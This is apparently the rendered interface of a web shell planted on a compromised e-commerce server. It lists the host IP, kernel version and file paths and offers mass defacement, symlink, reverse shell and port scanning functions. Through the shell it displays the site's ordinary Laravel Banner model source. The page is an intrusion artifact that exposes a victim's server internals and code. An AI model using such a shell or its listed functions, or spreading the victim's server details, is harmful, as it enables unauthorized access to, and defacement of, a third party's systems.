ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Models
/
Viewing: Banner.php
<?php namespace App\Models; use App\Traits\StorageTrait; use Carbon\Carbon; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Facades\DB; /** * Class YourModel * * @property int $id Primary * @property string $photo * @property string $banner_type * @property string $theme * @property int $published * @property Carbon $created_at * @property Carbon $updated_at * @property string $url * @property string $resource_type * @property int $resource_id * @property string $title * @property string $sub_title * @property string $button_text * @property string $background_color * * @package App\Models */ class Banner extends Model { use StorageTrait; protected $casts = [ 'id' => 'integer', 'published' => 'integer', 'resource_id' => 'integer', 'created_at' => 'datetime', 'updated_at' => 'datetime', ]; protected $fillable = [ 'photo', 'banner_type', 'theme', 'published', 'url', 'resource_type', 'resource_id', 'title', 'sub_title', 'button_text', 'background_color', ]; protected $appends = ['photo_full_url']; public function product(): BelongsTo { return $this->belongsTo(Product::class, 'resource_id'); } public function getPhotoFullUrlAttribute(): string|null|array { $value = $this->photo; if (count($this->storage) > 0) { $storage = $this->storage->where('key', 'photo')->first(); } return $this->storageLink('banner', $value, $storage['value'] ?? 'public'); } protected static function boot(): void { parent::boot(); static::saved(function ($model) { cacheRemoveByType(type: 'banners'); $file = 'photo'; $storage = config('filesystems.disks.default') ?? 'public'; if ($model->isDirty($file)) { $value = $storage; DB::table('storages')->updateOrInsert([ 'data_type' => get_class($model), 'data_id' => $model->id, 'key' => $file, ], [ 'value' => $value, 'created_at' => now(), 'updated_at' => now(), ]); } }); static::deleted(function ($model) { cacheRemoveByType(type: 'banners'); }); } }
Coded With 💗 by
0x6ick